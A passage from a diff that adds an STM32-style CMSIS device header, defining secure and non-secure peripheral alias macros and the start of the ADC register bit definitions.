((VREFBUF_TypeDef *) VREFBUF_BASE_S) +#define RTC_S ((RTC_TypeDef *) RTC_BASE_S) +#define TAMP_S ((TAMP_TypeDef *) TAMP_BASE_S) + +/*!< AHB3 Secure peripherals */ +#define PWR_S ((PWR_TypeDef *) PWR_BASE_S) +#define RCC_S ((RCC_TypeDef *) RCC_BASE_S) +#define EXTI_S ((EXTI_TypeDef *) EXTI_BASE_S) + +/*!< AHB4 secure peripherals */ +#define SDMMC1_S ((SDMMC_TypeDef *) SDMMC1_BASE_S) +#define DLYB_SDMMC1_S ((DLYB_TypeDef *) DLYB_SDMMC1_BASE_S) + +#define FMC_Bank1_R_S ((FMC_Bank1_TypeDef *) FMC_Bank1_R_BASE_S) +#define FMC_Bank1E_R_S ((FMC_Bank1E_TypeDef *) FMC_Bank1E_R_BASE_S) +#define FMC_Bank3_R_S ((FMC_Bank3_TypeDef *) FMC_Bank3_R_BASE_S) +#define FMC_Bank5_6_R_S ((FMC_Bank5_6_TypeDef *) FMC_Bank5_6_R_BASE_S) + +#define OCTOSPI1_S ((OCTOSPI_TypeDef *) OCTOSPI1_R_BASE_S) +#define DLYB_OCTOSPI1_S ((DLYB_TypeDef *) DLYB_OCTOSPI1_BASE_S) + +#define DBGMCU ((DBGMCU_TypeDef *) DBGMCU_BASE) + +/*!< Memory & Instance aliases and base addresses for Non-Secure/Secure peripherals */ + +#if defined (__ARM_FEATURE_CMSE) && (__ARM_FEATURE_CMSE == 3U) + +/*!< Memory base addresses for Secure peripherals */ +#define FLASH_BASE FLASH_BASE_S +#define FLASH_OBK_BASE FLASH_OBK_BASE_S +#define FLASH_EDATA_BASE FLASH_EDATA_BASE_S +#define FLASH_SYSTEM_BASE FLASH_SYSTEM_BASE_S +#define SRAM1_BASE SRAM1_BASE_S +#define SRAM2_BASE SRAM2_BASE_S +#define SRAM3_BASE SRAM3_BASE_S +#define BKPSRAM_BASE BKPSRAM_BASE_S +#define PERIPH_BASE PERIPH_BASE_S +#define APB1PERIPH_BASE APB1PERIPH_BASE_S +#define APB2PERIPH_BASE APB2PERIPH_BASE_S +#define APB3PERIPH_BASE APB3PERIPH_BASE_S +#define AHB1PERIPH_BASE AHB1PERIPH_BASE_S +#define AHB2PERIPH_BASE AHB2PERIPH_BASE_S +#define AHB3PERIPH_BASE AHB3PERIPH_BASE_S +#define AHB4PERIPH_BASE AHB4PERIPH_BASE_S + +/*!< Instance aliases and base addresses for Secure peripherals */ +#define CORDIC CORDIC_S +#define CORDIC_BASE CORDIC_BASE_S + +#define RCC RCC_S +#define RCC_BASE RCC_BASE_S + +#define DCMI DCMI_S +#define DCMI_BASE DCMI_BASE_S + +#define PSSI PSSI_S +#define PSSI_BASE PSSI_BASE_S + +#define DTS DTS_S +#define DTS_BASE DTS_BASE_S + +#define FLASH FLASH_S +#define FLASH_R_BASE FLASH_R_BASE_S + +#define FMAC FMAC_S +#define FMAC_BASE FMAC_BASE_S + +#define GPDMA1 GPDMA1_S +#define GPDMA1_BASE GPDMA1_BASE_S + +#define GPDMA1_Channel0 GPDMA1_Channel0_S +#define GPDMA1_Channel0_BASE GPDMA1_Channel0_BASE_S + +#define GPDMA1_Channel1 GPDMA1_Channel1_S +#define GPDMA1_Channel1_BASE GPDMA1_Channel1_BASE_S + +#define GPDMA1_Channel2 GPDMA1_Channel2_S +#define GPDMA1_Channel2_BASE GPDMA1_Channel2_BASE_S + +#define GPDMA1_Channel3 GPDMA1_Channel3_S +#define GPDMA1_Channel3_BASE GPDMA1_Channel3_BASE_S + +#define GPDMA1_Channel4 GPDMA1_Channel4_S +#define GPDMA1_Channel4_BASE GPDMA1_Channel4_BASE_S + +#define GPDMA1_Channel5 GPDMA1_Channel5_S +#define GPDMA1_Channel5_BASE GPDMA1_Channel5_BASE_S + +#define GPDMA1_Channel6 GPDMA1_Channel6_S +#define GPDMA1_Channel6_BASE GPDMA1_Channel6_BASE_S + +#define GPDMA1_Channel7 GPDMA1_Channel7_S +#define GPDMA1_Channel7_BASE GPDMA1_Channel7_BASE_S + +#define GPDMA2 GPDMA2_S +#define GPDMA2_BASE GPDMA2_BASE_S + +#define GPDMA2_Channel0 GPDMA2_Channel0_S +#define GPDMA2_Channel0_BASE GPDMA2_Channel0_BASE_S + +#define GPDMA2_Channel1 GPDMA2_Channel1_S +#define GPDMA2_Channel1_BASE GPDMA2_Channel1_BASE_S + +#define GPDMA2_Channel2 GPDMA2_Channel2_S +#define GPDMA2_Channel2_BASE GPDMA2_Channel2_BASE_S + +#define GPDMA2_Channel3 GPDMA2_Channel3_S +#define GPDMA2_Channel3_BASE GPDMA2_Channel3_BASE_S + +#define GPDMA2_Channel4 GPDMA2_Channel4_S +#define GPDMA2_Channel4_BASE GPDMA2_Channel4_BASE_S + +#define GPDMA2_Channel5 GPDMA2_Channel5_S +#define GPDMA2_Channel5_BASE GPDMA2_Channel5_BASE_S + +#define GPDMA2_Channel6 GPDMA2_Channel6_S +#define GPDMA2_Channel6_BASE GPDMA2_Channel6_BASE_S + +#define GPDMA2_Channel7 GPDMA2_Channel7_S +#define GPDMA2_Channel7_BASE GPDMA2_Channel7_BASE_S + +#define GPIOA GPIOA_S +#define GPIOA_BASE GPIOA_BASE_S + +#define GPIOB GPIOB_S +#define GPIOB_BASE GPIOB_BASE_S + +#define GPIOC GPIOC_S +#define GPIOC_BASE GPIOC_BASE_S + +#define GPIOD GPIOD_S +#define GPIOD_BASE GPIOD_BASE_S + +#define GPIOE GPIOE_S +#define GPIOE_BASE GPIOE_BASE_S + +#define GPIOF GPIOF_S +#define GPIOF_BASE GPIOF_BASE_S + +#define GPIOG GPIOG_S +#define GPIOG_BASE GPIOG_BASE_S + +#define GPIOH GPIOH_S +#define GPIOH_BASE GPIOH_BASE_S + +#define GPIOI GPIOI_S +#define GPIOI_BASE GPIOI_BASE_S + +#define PWR PWR_S +#define PWR_BASE PWR_BASE_S + +#define RAMCFG_SRAM1 RAMCFG_SRAM1_S +#define RAMCFG_SRAM1_BASE RAMCFG_SRAM1_BASE_S + +#define RAMCFG_SRAM2 RAMCFG_SRAM2_S +#define RAMCFG_SRAM2_BASE RAMCFG_SRAM2_BASE_S + +#define RAMCFG_SRAM3 RAMCFG_SRAM3_S +#define RAMCFG_SRAM3_BASE RAMCFG_SRAM3_BASE_S + +#define RAMCFG_BKPRAM RAMCFG_BKPRAM_S +#define RAMCFG_BKPRAM_BASE RAMCFG_BKPRAM_BASE_S + +#define EXTI EXTI_S +#define EXTI_BASE EXTI_BASE_S + +#define ICACHE ICACHE_S +#define ICACHE_BASE ICACHE_BASE_S + +#define DCACHE1 DCACHE1_S +#define DCACHE1_BASE DCACHE1_BASE_S + +#define GTZC_TZSC1 GTZC_TZSC1_S +#define GTZC_TZSC1_BASE GTZC_TZSC1_BASE_S + +#define GTZC_TZIC1 GTZC_TZIC1_S +#define GTZC_TZIC1_BASE GTZC_TZIC1_BASE_S + +#define GTZC_MPCBB1 GTZC_MPCBB1_S +#define GTZC_MPCBB1_BASE GTZC_MPCBB1_BASE_S + +#define GTZC_MPCBB2 GTZC_MPCBB2_S +#define GTZC_MPCBB2_BASE GTZC_MPCBB2_BASE_S + +#define GTZC_MPCBB3 GTZC_MPCBB3_S +#define GTZC_MPCBB3_BASE GTZC_MPCBB3_BASE_S + +#define RTC RTC_S +#define RTC_BASE RTC_BASE_S + +#define TAMP TAMP_S +#define TAMP_BASE TAMP_BASE_S + +#define TIM1 TIM1_S +#define TIM1_BASE TIM1_BASE_S + +#define TIM2 TIM2_S +#define TIM2_BASE TIM2_BASE_S + +#define TIM3 TIM3_S +#define TIM3_BASE TIM3_BASE_S + +#define TIM4 TIM4_S +#define TIM4_BASE TIM4_BASE_S + +#define TIM5 TIM5_S +#define TIM5_BASE TIM5_BASE_S + +#define TIM6 TIM6_S +#define TIM6_BASE TIM6_BASE_S + +#define TIM7 TIM7_S +#define TIM7_BASE TIM7_BASE_S + +#define TIM8 TIM8_S +#define TIM8_BASE TIM8_BASE_S + +#define TIM15 TIM15_S +#define TIM15_BASE TIM15_BASE_S + +#define TIM12 TIM12_S +#define TIM12_BASE TIM12_BASE_S + +#define TIM13 TIM13_S +#define TIM13_BASE TIM13_BASE_S + +#define TIM14 TIM14_S +#define TIM14_BASE TIM14_BASE_S + +#define TIM16 TIM16_S +#define TIM16_BASE TIM16_BASE_S + +#define TIM17 TIM17_S +#define TIM17_BASE TIM17_BASE_S + +#define WWDG WWDG_S +#define WWDG_BASE WWDG_BASE_S + +#define IWDG IWDG_S +#define IWDG_BASE IWDG_BASE_S + +#define SPI1 SPI1_S +#define SPI1_BASE SPI1_BASE_S + +#define SPI2 SPI2_S +#define SPI2_BASE SPI2_BASE_S + +#define SPI3 SPI3_S +#define SPI3_BASE SPI3_BASE_S + +#define SPI4 SPI4_S +#define SPI4_BASE SPI4_BASE_S + +#define SPI5 SPI5_S +#define SPI5_BASE SPI5_BASE_S + +#define SPI6 SPI6_S +#define SPI6_BASE SPI6_BASE_S + +#define USART1 USART1_S +#define USART1_BASE USART1_BASE_S + +#define USART2 USART2_S +#define USART2_BASE USART2_BASE_S + +#define USART3 USART3_S +#define USART3_BASE USART3_BASE_S + +#define UART4 UART4_S +#define UART4_BASE UART4_BASE_S + +#define UART5 UART5_S +#define UART5_BASE UART5_BASE_S + +#define USART6 USART6_S +#define USART6_BASE USART6_BASE_S + +#define UART7 UART7_S +#define UART7_BASE UART7_BASE_S + +#define UART8 UART8_S +#define UART8_BASE UART8_BASE_S + +#define UART9 UART9_S +#define UART9_BASE UART9_BASE_S + +#define USART10 USART10_S +#define USART10_BASE USART10_BASE_S + +#define USART11 USART11_S +#define USART11_BASE USART11_BASE_S + +#define UART12 UART12_S +#define UART12_BASE UART12_BASE_S + +#define CEC CEC_S +#define CEC_BASE CEC_BASE_S + +#define I2C1 I2C1_S +#define I2C1_BASE I2C1_BASE_S + +#define I2C2 I2C2_S +#define I2C2_BASE I2C2_BASE_S + +#define I2C3 I2C3_S +#define I2C3_BASE I2C3_BASE_S + +#define I2C4 I2C4_S +#define I2C4_BASE I2C4_BASE_S + +#define I3C1 I3C1_S +#define I3C1_BASE I3C1_BASE_S + +#define CRS CRS_S +#define CRS_BASE CRS_BASE_S + +#define FDCAN1 FDCAN1_S +#define FDCAN1_BASE FDCAN1_BASE_S + +#define FDCAN_CONFIG FDCAN_CONFIG_S +#define FDCAN_CONFIG_BASE FDCAN_CONFIG_BASE_S +#define SRAMCAN_BASE SRAMCAN_BASE_S + + +#define DAC1 DAC1_S +#define DAC1_BASE DAC1_BASE_S + +#define LPTIM1 LPTIM1_S +#define LPTIM1_BASE LPTIM1_BASE_S + +#define LPTIM2 LPTIM2_S +#define LPTIM2_BASE LPTIM2_BASE_S + +#define LPTIM3 LPTIM3_S +#define LPTIM3_BASE LPTIM3_BASE_S + +#define LPTIM4 LPTIM4_S +#define LPTIM4_BASE LPTIM4_BASE_S + +#define LPTIM5 LPTIM5_S +#define LPTIM5_BASE LPTIM5_BASE_S + +#define LPTIM6 LPTIM6_S +#define LPTIM6_BASE LPTIM6_BASE_S + +#define LPUART1 LPUART1_S +#define LPUART1_BASE LPUART1_BASE_S + +#define UCPD1 UCPD1_S +#define UCPD1_BASE UCPD1_BASE_S + +#define SBS SBS_S +#define SBS_BASE SBS_BASE_S + +#define VREFBUF VREFBUF_S +#define VREFBUF_BASE VREFBUF_BASE_S + +#define SAI1 SAI1_S +#define SAI1_BASE SAI1_BASE_S + +#define SAI1_Block_A SAI1_Block_A_S +#define SAI1_Block_A_BASE SAI1_Block_A_BASE_S + +#define SAI1_Block_B SAI1_Block_B_S +#define SAI1_Block_B_BASE SAI1_Block_B_BASE_S + +#define SAI2 SAI2_S +#define SAI2_BASE SAI2_BASE_S + +#define SAI2_Block_A SAI2_Block_A_S +#define SAI2_Block_A_BASE SAI2_Block_A_BASE_S + +#define SAI2_Block_B SAI2_Block_B_S +#define SAI2_Block_B_BASE SAI2_Block_B_BASE_S + +#define USB_DRD_FS USB_DRD_FS_S +#define USB_DRD_BASE USB_DRD_BASE_S +#define USB_DRD_PMAADDR USB_DRD_PMAADDR_S +#define USB_DRD_PMA_BUFF USB_DRD_PMA_BUFF_S + +#define CRC CRC_S +#define CRC_BASE CRC_BASE_S + +#define ADC1 ADC1_S +#define ADC1_BASE ADC1_BASE_S + +#define ADC2 ADC2_S +#define ADC2_BASE ADC2_BASE_S + +#define ADC12_COMMON ADC12_COMMON_S +#define ADC12_COMMON_BASE ADC12_COMMON_BASE_S + +#define HASH HASH_S +#define HASH_BASE HASH_BASE_S + +#define HASH_DIGEST HASH_DIGEST_S +#define HASH_DIGEST_BASE HASH_DIGEST_BASE_S + +#define RNG RNG_S +#define RNG_BASE RNG_BASE_S + +#define PKA PKA_S +#define PKA_BASE PKA_BASE_S +#define PKA_RAM_BASE PKA_RAM_BASE_S + + +#define SDMMC1 SDMMC1_S +#define SDMMC1_BASE SDMMC1_BASE_S + + +#define FMC_Bank1_R FMC_Bank1_R_S +#define FMC_Bank1_R_BASE FMC_Bank1_R_BASE_S + +#define FMC_Bank1E_R FMC_Bank1E_R_S +#define FMC_Bank1E_R_BASE FMC_Bank1E_R_BASE_S + +#define FMC_Bank3_R FMC_Bank3_R_S +#define FMC_Bank3_R_BASE FMC_Bank3_R_BASE_S + +#define FMC_Bank5_6_R FMC_Bank5_6_R_S +#define FMC_Bank5_6_R_BASE FMC_Bank5_6_R_BASE_S + +#define OCTOSPI1 OCTOSPI1_S +#define OCTOSPI1_R_BASE OCTOSPI1_R_BASE_S + +#define DLYB_SDMMC1 DLYB_SDMMC1_S +#define DLYB_SDMMC1_BASE DLYB_SDMMC1_BASE_S + +#define DLYB_OCTOSPI1 DLYB_OCTOSPI1_S +#define DLYB_OCTOSPI1_BASE DLYB_OCTOSPI1_BASE_S + +#else + +/*!< Memory base addresses for Non secure peripherals */ +#define FLASH_BASE FLASH_BASE_NS +#define FLASH_OBK_BASE FLASH_OBK_BASE_NS +#define FLASH_EDATA_BASE FLASH_EDATA_BASE_NS +#define FLASH_SYSTEM_BASE FLASH_SYSTEM_BASE_NS + +#define SRAM1_BASE SRAM1_BASE_NS +#define SRAM2_BASE SRAM2_BASE_NS + +#define SRAM3_BASE SRAM3_BASE_NS +#define BKPSRAM_BASE BKPSRAM_BASE_NS + +#define PERIPH_BASE PERIPH_BASE_NS +#define APB1PERIPH_BASE APB1PERIPH_BASE_NS +#define APB2PERIPH_BASE APB2PERIPH_BASE_NS +#define APB3PERIPH_BASE APB3PERIPH_BASE_NS +#define AHB1PERIPH_BASE AHB1PERIPH_BASE_NS +#define AHB2PERIPH_BASE AHB2PERIPH_BASE_NS +#define AHB3PERIPH_BASE AHB3PERIPH_BASE_NS +#define AHB4PERIPH_BASE AHB4PERIPH_BASE_NS + +/*!< Instance aliases and base addresses for Non secure peripherals */ +#define CORDIC CORDIC_NS +#define CORDIC_BASE CORDIC_BASE_NS + +#define RCC RCC_NS +#define RCC_BASE RCC_BASE_NS + +#define DCMI DCMI_NS +#define DCMI_BASE DCMI_BASE_NS + +#define PSSI PSSI_NS +#define PSSI_BASE PSSI_BASE_NS + +#define DTS DTS_NS +#define DTS_BASE DTS_BASE_NS + +#define FLASH FLASH_NS +#define FLASH_R_BASE FLASH_R_BASE_NS + +#define FMAC FMAC_NS +#define FMAC_BASE FMAC_BASE_NS + +#define GPDMA1 GPDMA1_NS +#define GPDMA1_BASE GPDMA1_BASE_NS + +#define GPDMA1_Channel0 GPDMA1_Channel0_NS +#define GPDMA1_Channel0_BASE GPDMA1_Channel0_BASE_NS + +#define GPDMA1_Channel1 GPDMA1_Channel1_NS +#define GPDMA1_Channel1_BASE GPDMA1_Channel1_BASE_NS + +#define GPDMA1_Channel2 GPDMA1_Channel2_NS +#define GPDMA1_Channel2_BASE GPDMA1_Channel2_BASE_NS + +#define GPDMA1_Channel3 GPDMA1_Channel3_NS +#define GPDMA1_Channel3_BASE GPDMA1_Channel3_BASE_NS + +#define GPDMA1_Channel4 GPDMA1_Channel4_NS +#define GPDMA1_Channel4_BASE GPDMA1_Channel4_BASE_NS + +#define GPDMA1_Channel5 GPDMA1_Channel5_NS +#define GPDMA1_Channel5_BASE GPDMA1_Channel5_BASE_NS + +#define GPDMA1_Channel6 GPDMA1_Channel6_NS +#define GPDMA1_Channel6_BASE GPDMA1_Channel6_BASE_NS + +#define GPDMA1_Channel7 GPDMA1_Channel7_NS +#define GPDMA1_Channel7_BASE GPDMA1_Channel7_BASE_NS + +#define GPDMA2 GPDMA2_NS +#define GPDMA2_BASE GPDMA2_BASE_NS + +#define GPDMA2_Channel0 GPDMA2_Channel0_NS +#define GPDMA2_Channel0_BASE GPDMA2_Channel0_BASE_NS + +#define GPDMA2_Channel1 GPDMA2_Channel1_NS +#define GPDMA2_Channel1_BASE GPDMA2_Channel1_BASE_NS + +#define GPDMA2_Channel2 GPDMA2_Channel2_NS +#define GPDMA2_Channel2_BASE GPDMA2_Channel2_BASE_NS + +#define GPDMA2_Channel3 GPDMA2_Channel3_NS +#define GPDMA2_Channel3_BASE GPDMA2_Channel3_BASE_NS + +#define GPDMA2_Channel4 GPDMA2_Channel4_NS +#define GPDMA2_Channel4_BASE GPDMA2_Channel4_BASE_NS + +#define GPDMA2_Channel5 GPDMA2_Channel5_NS +#define GPDMA2_Channel5_BASE GPDMA2_Channel5_BASE_NS + +#define GPDMA2_Channel6 GPDMA2_Channel6_NS +#define GPDMA2_Channel6_BASE GPDMA2_Channel6_BASE_NS + +#define GPDMA2_Channel7 GPDMA2_Channel7_NS +#define GPDMA2_Channel7_BASE GPDMA2_Channel7_BASE_NS + +#define GPIOA GPIOA_NS +#define GPIOA_BASE GPIOA_BASE_NS + +#define GPIOB GPIOB_NS +#define GPIOB_BASE GPIOB_BASE_NS + +#define GPIOC GPIOC_NS +#define GPIOC_BASE GPIOC_BASE_NS + +#define GPIOD GPIOD_NS +#define GPIOD_BASE GPIOD_BASE_NS + +#define GPIOE GPIOE_NS +#define GPIOE_BASE GPIOE_BASE_NS + +#define GPIOF GPIOF_NS +#define GPIOF_BASE GPIOF_BASE_NS + +#define GPIOG GPIOG_NS +#define GPIOG_BASE GPIOG_BASE_NS + +#define GPIOH GPIOH_NS +#define GPIOH_BASE GPIOH_BASE_NS + +#define GPIOI GPIOI_NS +#define GPIOI_BASE GPIOI_BASE_NS + +#define PWR PWR_NS +#define PWR_BASE PWR_BASE_NS + +#define RAMCFG_SRAM1 RAMCFG_SRAM1_NS +#define RAMCFG_SRAM1_BASE RAMCFG_SRAM1_BASE_NS + +#define RAMCFG_SRAM2 RAMCFG_SRAM2_NS +#define RAMCFG_SRAM2_BASE RAMCFG_SRAM2_BASE_NS + +#define RAMCFG_SRAM3 RAMCFG_SRAM3_NS +#define RAMCFG_SRAM3_BASE RAMCFG_SRAM3_BASE_NS + +#define RAMCFG_BKPRAM RAMCFG_BKPRAM_NS +#define RAMCFG_BKPRAM_BASE RAMCFG_BKPRAM_BASE_NS + +#define EXTI EXTI_NS +#define EXTI_BASE EXTI_BASE_NS + +#define ICACHE ICACHE_NS +#define ICACHE_BASE ICACHE_BASE_NS + +#define DCACHE1 DCACHE1_NS +#define DCACHE1_BASE DCACHE1_BASE_NS + +#define GTZC_TZSC1 GTZC_TZSC1_NS +#define GTZC_TZSC1_BASE GTZC_TZSC1_BASE_NS + +#define GTZC_TZIC1 GTZC_TZIC1_NS +#define GTZC_TZIC1_BASE GTZC_TZIC1_BASE_NS + +#define GTZC_MPCBB1 GTZC_MPCBB1_NS +#define GTZC_MPCBB1_BASE GTZC_MPCBB1_BASE_NS + +#define GTZC_MPCBB2 GTZC_MPCBB2_NS +#define GTZC_MPCBB2_BASE GTZC_MPCBB2_BASE_NS + +#define GTZC_MPCBB3 GTZC_MPCBB3_NS +#define GTZC_MPCBB3_BASE GTZC_MPCBB3_BASE_NS + +#define RTC RTC_NS +#define RTC_BASE RTC_BASE_NS + +#define TAMP TAMP_NS +#define TAMP_BASE TAMP_BASE_NS + +#define TIM1 TIM1_NS +#define TIM1_BASE TIM1_BASE_NS + +#define TIM2 TIM2_NS +#define TIM2_BASE TIM2_BASE_NS + +#define TIM3 TIM3_NS +#define TIM3_BASE TIM3_BASE_NS + +#define TIM4 TIM4_NS +#define TIM4_BASE TIM4_BASE_NS + +#define TIM5 TIM5_NS +#define TIM5_BASE TIM5_BASE_NS + +#define TIM6 TIM6_NS +#define TIM6_BASE TIM6_BASE_NS + +#define TIM7 TIM7_NS +#define TIM7_BASE TIM7_BASE_NS + +#define TIM8 TIM8_NS +#define TIM8_BASE TIM8_BASE_NS + +#define TIM12 TIM12_NS +#define TIM12_BASE TIM12_BASE_NS + +#define TIM13 TIM13_NS +#define TIM13_BASE TIM13_BASE_NS + +#define TIM14 TIM14_NS +#define TIM14_BASE TIM14_BASE_NS + +#define TIM15 TIM15_NS +#define TIM15_BASE TIM15_BASE_NS + +#define TIM16 TIM16_NS +#define TIM16_BASE TIM16_BASE_NS + +#define TIM17 TIM17_NS +#define TIM17_BASE TIM17_BASE_NS + +#define WWDG WWDG_NS +#define WWDG_BASE WWDG_BASE_NS + +#define IWDG IWDG_NS +#define IWDG_BASE IWDG_BASE_NS + +#define SPI1 SPI1_NS +#define SPI1_BASE SPI1_BASE_NS + +#define SPI2 SPI2_NS +#define SPI2_BASE SPI2_BASE_NS + +#define SPI3 SPI3_NS +#define SPI3_BASE SPI3_BASE_NS + +#define SPI4 SPI4_NS +#define SPI4_BASE SPI4_BASE_NS + +#define SPI5 SPI5_NS +#define SPI5_BASE SPI5_BASE_NS + +#define SPI6 SPI6_NS +#define SPI6_BASE SPI6_BASE_NS + +#define USART1 USART1_NS +#define USART1_BASE USART1_BASE_NS + +#define USART2 USART2_NS +#define USART2_BASE USART2_BASE_NS + +#define USART3 USART3_NS +#define USART3_BASE USART3_BASE_NS + +#define UART4 UART4_NS +#define UART4_BASE UART4_BASE_NS + +#define UART5 UART5_NS +#define UART5_BASE UART5_BASE_NS + +#define USART6 USART6_NS +#define USART6_BASE USART6_BASE_NS + +#define UART7 UART7_NS +#define UART7_BASE UART7_BASE_NS + +#define UART8 UART8_NS +#define UART8_BASE UART8_BASE_NS + +#define UART9 UART9_NS +#define UART9_BASE UART9_BASE_NS + +#define USART10 USART10_NS +#define USART10_BASE USART10_BASE_NS + +#define USART11 USART11_NS +#define USART11_BASE USART11_BASE_NS + +#define UART12 UART12_NS +#define UART12_BASE UART12_BASE_NS + +#define CEC CEC_NS +#define CEC_BASE CEC_BASE_NS + +#define I2C1 I2C1_NS +#define I2C1_BASE I2C1_BASE_NS + +#define I2C2 I2C2_NS +#define I2C2_BASE I2C2_BASE_NS + +#define I2C3 I2C3_NS +#define I2C3_BASE I2C3_BASE_NS + +#define I2C4 I2C4_NS +#define I2C4_BASE I2C4_BASE_NS + +#define I3C1 I3C1_NS +#define I3C1_BASE I3C1_BASE_NS + +#define CRS CRS_NS +#define CRS_BASE CRS_BASE_NS + +#define FDCAN1 FDCAN1_NS +#define FDCAN1_BASE FDCAN1_BASE_NS + +#define FDCAN_CONFIG FDCAN_CONFIG_NS +#define FDCAN_CONFIG_BASE FDCAN_CONFIG_BASE_NS +#define SRAMCAN_BASE SRAMCAN_BASE_NS + + +#define DAC1 DAC1_NS +#define DAC1_BASE DAC1_BASE_NS + +#define LPTIM1 LPTIM1_NS +#define LPTIM1_BASE LPTIM1_BASE_NS + +#define LPTIM2 LPTIM2_NS +#define LPTIM2_BASE LPTIM2_BASE_NS + +#define LPTIM3 LPTIM3_NS +#define LPTIM3_BASE LPTIM3_BASE_NS + +#define LPTIM4 LPTIM4_NS +#define LPTIM4_BASE LPTIM4_BASE_NS + +#define LPTIM5 LPTIM5_NS +#define LPTIM5_BASE LPTIM5_BASE_NS + +#define LPTIM6 LPTIM6_NS +#define LPTIM6_BASE LPTIM6_BASE_NS + +#define LPUART1 LPUART1_NS +#define LPUART1_BASE LPUART1_BASE_NS + +#define UCPD1 UCPD1_NS +#define UCPD1_BASE UCPD1_BASE_NS + +#define SBS SBS_NS +#define SBS_BASE SBS_BASE_NS + +#define VREFBUF VREFBUF_NS +#define VREFBUF_BASE VREFBUF_BASE_NS + +#define SAI1 SAI1_NS +#define SAI1_BASE SAI1_BASE_NS + +#define SAI1_Block_A SAI1_Block_A_NS +#define SAI1_Block_A_BASE SAI1_Block_A_BASE_NS + +#define SAI1_Block_B SAI1_Block_B_NS +#define SAI1_Block_B_BASE SAI1_Block_B_BASE_NS + +#define SAI2 SAI2_NS +#define SAI2_BASE SAI2_BASE_NS + +#define SAI2_Block_A SAI2_Block_A_NS +#define SAI2_Block_A_BASE SAI2_Block_A_BASE_NS + +#define SAI2_Block_B SAI2_Block_B_NS +#define SAI2_Block_B_BASE SAI2_Block_B_BASE_NS + +#define USB_DRD_FS USB_DRD_FS_NS +#define USB_DRD_BASE USB_DRD_BASE_NS +#define USB_DRD_PMAADDR USB_DRD_PMAADDR_NS +#define USB_DRD_PMA_BUFF USB_DRD_PMA_BUFF_NS + +#define CRC CRC_NS +#define CRC_BASE CRC_BASE_NS + +#define ADC1 ADC1_NS +#define ADC1_BASE ADC1_BASE_NS + +#define ADC2 ADC2_NS +#define ADC2_BASE ADC2_BASE_NS + +#define ADC12_COMMON ADC12_COMMON_NS +#define ADC12_COMMON_BASE ADC12_COMMON_BASE_NS + +#define HASH HASH_NS +#define HASH_BASE HASH_BASE_NS + +#define HASH_DIGEST HASH_DIGEST_NS +#define HASH_DIGEST_BASE HASH_DIGEST_BASE_NS + +#define RNG RNG_NS +#define RNG_BASE RNG_BASE_NS + +#define PKA PKA_NS +#define PKA_BASE PKA_BASE_NS +#define PKA_RAM_BASE PKA_RAM_BASE_NS + + + +#define SDMMC1 SDMMC1_NS +#define SDMMC1_BASE SDMMC1_BASE_NS + + +#define FMC_Bank1_R FMC_Bank1_R_NS +#define FMC_Bank1_R_BASE FMC_Bank1_R_BASE_NS + +#define FMC_Bank1E_R FMC_Bank1E_R_NS +#define FMC_Bank1E_R_BASE FMC_Bank1E_R_BASE_NS + +#define FMC_Bank3_R FMC_Bank3_R_NS +#define FMC_Bank3_R_BASE FMC_Bank3_R_BASE_NS + +#define FMC_Bank5_6_R FMC_Bank5_6_R_NS +#define FMC_Bank5_6_R_BASE FMC_Bank5_6_R_BASE_NS + +#define OCTOSPI1 OCTOSPI1_NS +#define OCTOSPI1_R_BASE OCTOSPI1_R_BASE_NS + +#define DLYB_SDMMC1 DLYB_SDMMC1_NS +#define DLYB_SDMMC1_BASE DLYB_SDMMC1_BASE_NS + +#define DLYB_OCTOSPI1 DLYB_OCTOSPI1_NS +#define DLYB_OCTOSPI1_BASE DLYB_OCTOSPI1_BASE_NS + +#endif + + +/******************************************************************************/ +/* */ +/* Analog to Digital Converter */ +/* */ +/******************************************************************************/ +#define ADC_MULTIMODE_SUPPORT /*!< ADC feature available only on specific devices: multimode available on devices with several ADC instances */ +/******************** Bit definition for ADC_ISR register *******************/ +#define ADC_ISR_ADRDY_Pos (0U) +#define ADC_ISR_ADRDY_Msk (0x1UL << ADC_ISR_ADRDY_Pos) /*!< 0x00000001 */ +#define ADC_ISR_ADRDY ADC_ISR_ADRDY_Msk /*!< ADC ready flag */ +#define ADC_ISR_EOSMP_Pos (1U) +#define ADC_ISR_EOSMP_Msk (0x1UL << ADC_ISR_EOSMP_Pos) /*!< 0x00000002 */ +#define ADC_ISR_EOSMP ADC_ISR_EOSMP_Msk /*!< ADC group regular end of sampling flag */ +#define ADC_ISR_EOC_Pos (2U) +#define ADC_ISR_EOC_Msk (0x1UL << ADC_ISR_EOC_Pos) /*!< 0x00000004 */ +#define ADC_ISR_EOC ADC_ISR_EOC_Msk /*!< ADC group regular end of unitary conversion flag */ +#define ADC_ISR_EOS_Pos (3U) +#define ADC_ISR_EOS_Msk (0x1UL << ADC_ISR_EOS_Pos) /*!< 0x00000008 */ +#define ADC_ISR_EOS ADC_ISR_EOS_Msk /*!< ADC group regular end of sequence conversions flag */ +#define ADC_ISR_OVR_Pos (4U) +#define ADC_ISR_OVR_Msk (0x1UL << ADC_ISR_OVR_Pos) /*!< 0x00000010 */ +#define ADC_ISR_OVR ADC_ISR_OVR_Msk /*!< ADC group regular overrun flag */ +#define ADC_ISR_JEOC_Pos (5U) +#define ADC_ISR_JEOC_Msk (0x1UL << ADC_ISR_JEOC_Pos) /*!< 0x00000020 */ +#define ADC_ISR_JEOC ADC_ISR_JEOC_Msk /*!< ADC group injected end of unitary conversion flag */ +#define ADC_ISR_JEOS_Pos (6U) +#define ADC_ISR_JEOS_Msk (0x1UL << ADC_ISR_JEOS_Pos) /*!< 0x00000040 */ +#define ADC_ISR_JEOS ADC_ISR_JEOS_Msk /*!< ADC group injected end of sequence conversions flag */ +#define ADC_ISR_AWD1_Pos (7U) +#define ADC_ISR_AWD1_Msk (0x1UL << ADC_ISR_AWD1_Pos) /*!< 0x00000080 */ +#define ADC_ISR_AWD1 ADC_ISR_AWD1_Msk /*!< ADC analog watchdog 1 flag */ +#define ADC_ISR_AWD2_Pos (8U) +#define ADC_ISR_AWD2_Msk (0x1UL << ADC_ISR_AWD2_Pos) /*!< 0x00000100 */ +#define ADC_ISR_AWD2 ADC_ISR_AWD2_Msk /*!< ADC analog watchdog 2 flag */ +#define ADC_ISR_AWD3_Pos (9U) +#define ADC_ISR_AWD3_Msk (0x1UL << ADC_ISR_AWD3_Pos) /*!< 0x00000200 */ +#define ADC_ISR_AWD3 ADC_ISR_AWD3_Msk /*!< ADC analog watchdog 3 flag */ +#define ADC_ISR_JQOVF_Pos (10U) +#define ADC_ISR_JQOVF_Msk (0x1UL << ADC_ISR_JQOVF_Pos) /*!< 